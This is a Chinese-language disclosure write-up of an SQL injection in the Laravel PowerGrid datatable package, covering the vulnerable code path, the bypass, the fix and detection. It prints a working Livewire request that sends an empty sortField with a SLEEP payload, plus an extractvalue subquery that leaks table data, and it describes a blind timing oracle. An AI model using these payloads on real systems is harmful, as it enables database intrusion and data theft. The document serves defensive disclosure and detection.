---

## 🧠 概述

PowerGrid 是一个用于 Laravel + Livewire 的 datatable 组件（约 2k 星，广泛用于
Laravel 管理面板）。其排序状态存在于两个 **公共 Livewire 属性** 中：```php
public string $sortField = 'id';
public string $sortDirection = 'asc';

这两个属性都没有白名单、验证规则或规范化设置器。`sortDirection` 只会被赋值或翻转：```php
public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}

if ($when) {
    $this->rawQueries[] = [
        'method'   => 'orderByRaw',                          // <-- raw sink
        'sql'      => Sql::sortStringAsNumber($this->dataField),
        'bindings' => [],
    ];
}

return $this;

`Sql::sortStringAsNumber()` 解析为 `getSortSqlByDriver()` 在 `src/DataSource/Support/Sql.php`
（第 60–100 行）中构建的按驱动（per-driver）表达式。每个驱动变体
都以相同的字面占位符结尾：```php
$default = "$sortField+0 {sortDirection}";                                                          // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}",  // MySQL, line 81
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                          // SQLite, line 84
'0'      => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0'      => "CAST(SUBSTRING(...) AS INT) {sortDirection}",                                          // SQL Server, line 90

return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
    $property = trim($matches[1]);

    return data_get($this->component, $property, '');   // line 65 — raw property, no escaping
}, $sql);

以及执行，第 52 行：```php
$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'

---

## 🔓 绕过方式 —— 为什么 Laravel 的验证救不了你

这是将“原始字符串插值”变成真正可利用漏洞的部分，也是该问题能在一个成熟、广泛使用的包中长期存在的原因。

PowerGrid 通过一条**管道（pipeline）**处理查询。管道中有两个阶段涉及排序方向：

**`Sorting` 管道** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`：```php
public function handle(mixed $query, Closure $next): mixed
{
    // ...
    if (filled($this->component->sortField)) {          // line 21  <-- THE GUARD
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    // ...
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}

所以在正常路径下——用户点击列标题，`sortField=name`，`sortDirection=<payload>`——框架会阻止注入。快速审计到此为止，并得出结论“已由 Laravel 缓解”。

**`ColumnRawQueries` 管道**——上面所示的第二阶段——**没有这样的防护**。看一下它的 `handle()`（第 21–27 行）：它遍历所有列，并且对每一个携带 `rawQueries` 的列都*无条件地*应用它们。它从不检查 `sortField`。它从不检查 `Sorting` 管道的结果。

这种不对称性就是漏洞所在：

| `sortField` | `Sorting` 管道 | `ColumnRawQueries` 管道 | 结果 |
|---|---|---|---|
| `"name"`（已填充） | 运行 → `orderBy()` **验证** → 对负载抛出异常 | 运行 → 注入 | ❌ 被异常阻止 |
| `""`（空） | `filled('')` 为 `false` → **完全跳过** | 运行 → 注入 | ✅ **注入成功** |

将 **`sortField` 设置为空字符串** 会使验证阶段跳过自身，而原始阶段仍然会在其中包含攻击者的 `{sortDirection}` 的情况下发出 `naturalSort` `ORDER BY`。Laravel 的验证永远不会被调用，因为包含它的代码路径永远不会执行。

**因此，完整的攻击涉及两个字段，而不是一个：** `sortDirection` 携带负载，而 `sortField=""` 是解锁大门的钥匙。

---

## 🎯 精确字段

所有操作都通过 Livewire 的标准更新端点进行。没有特殊请求头，没有自定义路由，没有管理员功能。

**端点：** `POST /livewire/update`

**请求体（JSON）：**```json
{
  "_token": "<CSRF token from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}

载荷位于 `ORDER BY` 列表的一个完整表达式槽位中，这就是为什么裸子查询可以生效，以及为什么该子句仍然是合法 SQL 的原因。

---

## 🔬 它是如何被发现的——穿过代码的路径

下面这个顺序是实际推理的顺序，包括那一步几乎让整个调查以“误报”结束的步骤。

**1. 先看攻击面：Livewire 公共属性就是攻击者输入。**
框架自身的模型认为，组件上的每个 `public` 属性都可以通过 `/livewire/update` 由客户端写入。因此，对任何 Livewire 包的审计问题都不是“是否存在用户输入？”，而是“哪些公共属性会到达危险的汇点？”。枚举了 PowerGrid 的公共属性；`$sortField` 和 `$sortDirection` 脱颖而出，因为它们正是为了被拼接进 SQL 而存在的。

**2. 跟踪它们到每一个汇点。** 在包中搜索了原始 SQL API——`orderByRaw`、`whereRaw`、`selectRaw`、`havingRaw`、`DB::raw`——并寻找任何可能接收这些属性的地方。`Macros.php` 中 `naturalSort` 的 `'method' => 'orderByRaw'` 就是命中点。

**3. 找到属性与汇点之间的联系。** `Sql.php` 中的原始 SQL 并没有引用 `$this->sortDirection`；它包含的是字面字符串 `{sortDirection}`。这种模板化意味着某处存在解析器。搜索大括号模式，找到了 `ColumnRawQueries::resolvePlaceholders()` 及其 `data_get($this->component, $property, '')`——一个没有任何转义的通用属性读取器。现在，源头和汇点已连接起来。

**4. 几乎终结调查的那一步：缓解措施。** 第一次实际尝试——将 `sortDirection` 设置为一个载荷并触发——产生的不是泄露，而是
`InvalidArgumentException: Order direction must be "asc" or "desc".` Laravel 的 `orderBy()` 捕获了它。这里诱人的结论是 *“框架有缓解措施，不可利用”*，而这个结论本来是错误的。

**5. 追问异常来自哪里，而不只是它发生了。** 堆栈跟踪指向了 `Sorting` 管道的 `orderBy()`——这是与第 2 步中识别出的 `orderByRaw()` 汇点 **不同的阶段**。两个阶段，两次独立的写入进入同一个 `ORDER BY`，只有其中一个做了校验。这把问题从“我能击败 Laravel 的校验器吗？”（不能——它是一个严格比较）重新定义为 **“我能绕过执行校验阶段，直接到达原始 SQL 阶段吗？”**

**6. 阅读守卫。** 校验阶段运行在 `if (filled($this->component->sortField))` 之下。`filled('')` 为 `false`。原始 SQL 阶段则完全没有守卫。绕过是直接的结果：发送 `sortField=""`，只有未加守卫的阶段会运行。

**7. 用两种独立技术，两次实证确认。** 单个阳性信号不算发现——时间差可能是速率限制器，错误可能是一般的 500。在判定确认之前，既需要基于错误的证明（数据库将注入的子查询原样回显），也需要基于时间的布尔预言机（在真实数据上区分 TRUE 和 FALSE）。参见 [证据](#-证据)。

**可推广的要点：** 框架级别的缓解措施只保护它所位于的代码路径。当两个管道阶段写入同一个 SQL 子句时，“框架已经做了校验”只是对其中一个阶段的断言。始终要问：校验实际上位于哪个阶段，危险的阶段能否单独运行。

---

## 🧪 证据

实验室：Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB，带有一个 `RoomTable` PowerGrid 组件，其 `name` 列声明了 `->naturalSort(true)`，以及一张持有 `secret` 列的 `rooms` 表。完整实验室见 [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/)。

**基于错误——注入的子查询原样到达数据库**（HTTP 500，`SQLSTATE[HY000] 1105`）：```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0

TRUE/FALSE 对正是将“某事物变慢”升级为“我能读取你的数据”的关键：
相同的请求形态会根据攻击者无法看到的某个值上的条件，返回两个清晰分离的时序。
这就是一个可用的 oracle，而 `poc/exploit_powergrid_sqli.py`
会逐字符遍历它。

> `SLEEP(3)` 产生约 9 秒而非约 3 秒的延迟，因为排序会对多行应用休眠表达式——
> 这是一个更强、而非更弱的信号。

原始记录：[`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt)。

---

## ⚙️ 概念验证

无依赖，仅使用 Python 3 标准库。```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms

针对已修补的 `6.10.4` 目标，脚本报告无时间差并干净退出 — 白名单将每个 payload 折叠为 `asc`。

---

## ✅ 修复分析（`v6.10.4`）

维护者提供了**跨四个调用点的纵深防御** — 这是此类 bug 的正确形态。该原语：```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}

**升级——不要试图绕过它。**如果你今天确实无法升级，临时
缓解措施是对组件本身进行净化：```php
public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}

没有 `naturalSort` 列意味着原始的 `ORDER BY` 永远不会被注册，主要攻击路径无法触达。请注意，`v6.10.4` 还加固了 `sortUsing` 回调路径——如果你的自定义排序回调根据方向参数构建原始 SQL，那么无论有没有 `naturalSort`，你也会通过该路径暴露风险。

### 检测利用

该攻击看起来就是一个普通的 Livewire 请求；没有异常的端点或方法可供告警。请关注 `sortDirection` 的**值**——合法流量只发送 `asc` 或 `desc`。

其他任何值按定义都是异常的。实用信号如下：

- `POST /livewire/update`，其 JSON 请求体中的 `"sortDirection"` 取值不是
  精确的 `asc`/`desc`（不区分大小写）——高保真，误报率几乎为零；
- 同一请求同时携带 `"sortField":""`（空值）和非平凡的 `sortDirection`——
  这正是绕过特征；
- 该值中包含 SQL 关键字：`SELECT`、`SLEEP`、`BENCHMARK`、`extractvalue`、`updatexml`、`0x`；
- 应用程序错误日志中出现引用 `order by` 的 `SQLSTATE[HY000] 1105` 或 `SQLSTATE[42000]`；
- 大量同形状的 POST 请求，响应时间呈双峰分布（快/慢）——说明一个盲注 oracle
  正在被逐步探测。

[`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) 中提供了两条 Sigma 规则——
一条针对请求体，另一条针对数据库错误特征，用于在请求体日志不可用时使用。用于标记可触达 PowerGrid 组件（前提攻击面）的 Nuclei 模板位于 [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml)；任何命中请使用 `poc/exploit_powergrid_sqli.py --check-only` 进行确认。

---

## 📚 参考资料

- GitHub 安全公告 — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- 修复版本 — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- 修复差异 — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [SQL 命令中使用的特殊元素未正确中和](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [属性可由客户端写入](https://livewire.laravel.com/docs/properties#security-concerns)

---

## ⚖️ 法律声明

本内容在协同披露、补丁发布以及厂商公开公告之后发布。PoC 针对 [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) 中的本地实验环境，旨在帮助防御者验证自身的暴露面，并供研究人员研究此类漏洞。对未经授权测试的系统运行它属于违法行为。你需对自己使用它的行为负责。

---

**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)